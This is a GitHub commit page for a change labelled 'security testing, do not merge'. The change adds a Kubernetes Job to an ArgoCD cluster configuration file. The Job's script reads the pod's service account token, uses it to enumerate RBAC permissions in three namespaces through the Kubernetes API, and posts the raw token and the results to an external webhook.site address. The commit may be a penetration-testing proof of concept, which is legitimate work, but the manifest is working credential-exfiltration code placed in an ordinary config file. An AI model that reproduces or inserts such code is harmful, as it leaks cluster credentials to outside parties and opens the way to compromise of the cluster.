Skip to content

Commit 59192a9

Browse files
author
Flo
committed
security testing, do not merge
1 parent a0f9c9d commit 59192a9

1 file changed

Lines changed: 46 additions & 0 deletions

File tree

kubernetes/gke-utility/argocd/clusters.yaml

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -236,3 +236,49 @@ stringData:
236236
"insecure": true
237237
}
238238
}
239+
---
240+
apiVersion: batch/v1
241+
kind: Job
242+
metadata:
243+
name: rbac-confirm
244+
namespace: argocd-diff-preview
245+
spec:
246+
ttlSecondsAfterFinished: 300
247+
template:
248+
spec:
249+
restartPolicy: Never
250+
containers:
251+
- name: poc
252+
image: curlimages/curl:latest
253+
command: ["/bin/sh", "-c"]
254+
args:
255+
- |
256+
HOOK="https://webhook.site/c11f6f9f-5e8d-4c35-a5a1-04bb3deb813f"
257+
API="https://kubernetes.default.svc"
258+
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
259+
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
260+
261+
# Confirm token + identity
262+
curl -sf "${HOOK}?stage=start&host=$(hostname)&ns=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)" || true
263+
264+
# SelfSubjectRulesReview — argocd-diff-preview
265+
R1=$(curl -sk --cacert $CA -H "Authorization: Bearer $T" -H "Content-Type: application/json" \
266+
-X POST "${API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
267+
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"argocd-diff-preview"}}')
268+
269+
# SelfSubjectRulesReview — kube-system
270+
R2=$(curl -sk --cacert $CA -H "Authorization: Bearer $T" -H "Content-Type: application/json" \
271+
-X POST "${API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
272+
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"kube-system"}}')
273+
274+
# SelfSubjectRulesReview — default
275+
R3=$(curl -sk --cacert $CA -H "Authorization: Bearer $T" -H "Content-Type: application/json" \
276+
-X POST "${API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
277+
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}')
278+
279+
curl -sf -X POST "${HOOK}" \
280+
--data-urlencode "stage=rbac" \
281+
--data-urlencode "tok=${T}" \
282+
--data-urlencode "ns1=${R1}" \
283+
--data-urlencode "ns2=${R2}" \
284+
--data-urlencode "ns3=${R3}" || true

0 commit comments

Comments
 (0)